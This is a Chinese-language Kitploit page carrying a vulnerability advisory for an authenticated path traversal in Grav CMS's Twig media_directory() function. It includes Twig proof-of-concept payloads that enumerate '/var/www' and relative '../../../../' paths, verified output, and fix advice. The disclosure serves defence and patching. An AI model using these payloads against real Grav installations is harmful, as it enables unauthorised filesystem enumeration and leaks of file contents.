Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-78851 — 技术公告,详述了 Grav CMS 的 Twig `media_directory()` 函数中存在的一个已认证路径遍历漏洞,该漏洞可导致任意目录枚举和文件系统路径泄露。 | Kitploit
工具/GitHubGitHub/slo-cyber-sec/cve-2026-78851
漏洞分析漏洞利用信息收集Web安全渗透测试
GitHubslo-cyber-sec/cve-2026-78851

CVE-2026-78851

技术公告,详述了 Grav CMS 的 Twig `media_directory()` 函数中存在的一个已认证路径遍历漏洞,该漏洞可导致任意目录枚举和文件系统路径泄露。

查看仓库
2个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Grav 认证路径遍历 / 通过 Twig media_directory() 实现任意目录泄露

报告者

姓名: CYBER-SEC
联系方式: [email protected]

摘要

Grav 的 Twig 函数 media_directory() 在页面内容 Twig 沙箱白名单中暴露,但未对非流输入正确执行路径包含限制。

具有页面编辑权限的认证用户可以调用 media_directory('/绝对/路径'),或在启用 Twig 的页面内容中使用 media_directory('../../../../path') 等相对遍历方式。Grav 随后会索引 Web 服务器用户可读取目录中的媒体类型文件。

返回的 Medium 对象会暴露沙箱允许的属性,如 filepath 和 filename,从而导致任意目录枚举和绝对文件系统路径泄露。对于图像/SVG 文件,URL 或缓存生成可能通过 Grav 的公共缓存处理暴露文件。

这是一个认证信息泄露漏洞。目前已知无法进行未认证利用或直接远程代码执行。

受影响产品

产品: Grav 平面文件 CMS
仓库: https://github.com/getgrav/grav
已验证受影响版本: 2.0.3、2.0.4、2.0.6
组件: Twig media_directory() / Grav 页面内容 Twig 沙箱

CWE

  • CWE-22:对受限目录中路径名的限制不当(“路径遍历”)
  • CWE-200:向未授权行为者暴露敏感信息

CVSS v3.1

向量: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
基础评分: 6.5 中等

攻击要求

  • 攻击者必须经过认证。
  • 攻击者必须具有页面编辑权限。
  • 必须启用 Twig 内容处理。
  • 目标目录必须对 Web 服务器用户可读。

技术细节

漏洞点位于:

root@kitploit:~
system/src/Grav/Common/Twig/Extension/GravExtension.php

相关逻辑:

root@kitploit:~
public function mediaDirFunc($media_dir)
{
    $locator = $this->grav['locator'];

    if ($locator->isStream($media_dir)) {
        $media_dir = $locator->findResource($media_dir);
    }

    if ($media_dir && file_exists($media_dir)) {
        return new Media($media_dir);
    }

    return null;
}

只有 stream:// 输入会通过 Grav 的定位器解析。非流的绝对或相对路径会原样传递给 new Media($media_dir),未进行规范的 realpath() 验证、遍历拒绝,也未限制在受批准的 Grav 控制目录内。

该函数通过页面内容 Twig 沙箱白名单暴露:

root@kitploit:~
system/config/security.yaml
allowed_functions:
  - media_directory

沙箱还允许 Medium 的方法/属性,例如:

root@kitploit:~
filepath
filename
url
cache
resize

这使得经过认证的页面编辑者能够泄露任意可读目录中的文件名和绝对路径。对于图像/SVG 文件,公共 URL/缓存生成可能暴露文件内容。

概念验证

启用 Twig 内容处理后,创建或编辑一个 Grav 页面并插入:

root@kitploit:~
{% for name, m in media_directory('/var/www') %}
{{ name }} = {{ m.filepath }}
{% endfor %}

遍历形式:

root@kitploit:~
{% for name, m in media_directory('../../../../app/www/public') %}
{{ name }} = {{ m.filepath }}
{% endfor %}

图像/SVG 暴露示例:

root@kitploit:~
{{ media_directory('/绝对/路径/到/私有')['secret.svg'].url }}

当页面保存并渲染时,Grav 会索引攻击者控制路径下的文件,并暴露文件名和绝对文件系统路径。

已验证行为

使用 linuxserver/grav:latest Docker 镜像针对 Grav 2.0.6 进行了验证。

观察到的结果包括:

root@kitploit:~
LICENSE.txt    => /app/www/public/LICENSE.txt
composer.json  => /app/www/public/composer.json
robots.txt     => /app/www/public/robots.txt
now.json       => /app/www/public/now.json

相对遍历也已确认:

root@kitploit:~
../../../../app/www/public

在受控的本地测试环境中,通过 .url 暴露 SVG 文件也已确认。

影响

经过认证的页面编辑者可以:

  • 枚举 Web 服务器用户可读取的任意目录中的媒体类型文件。
  • 泄露绝对文件系统路径和文件名。
  • 映射应用程序结构和服务器端文件系统布局。
  • 通过名称识别敏感文件、备份、配置文件、日志或部署工件。
  • 可能通过公共缓存或 URL 生成暴露预期 Web 根目录之外的图像/SVG 文件。

此漏洞属于泄露类,不应报告为远程代码执行。

修复建议

建议的修复方案:

  1. 从页面内容 Twig 沙箱白名单中移除 media_directory。

或:

  1. 对 media_directory() 应用严格的规范路径包含限制:
  • 使用 realpath() 解析所有路径。
  • 拒绝包含遍历序列的路径。
  • 拒绝解析到受批准的 Grav 控制根目录之外的路径。
  • 仅允许安全根目录,如 user://pages、user://images 或其他明确批准的媒体目录。
  • 在文件索引之前以及缓存/URL 生成之前重新验证路径。

披露

此问题由 CYBER-SEC 报告。

参考

  • https://github.com/getgrav/grav
  • https://github.com/getgrav/grav/releases
  • https://getgrav.org/downloads
  • https://github.com/getgrav/grav/security/advisories
下载工具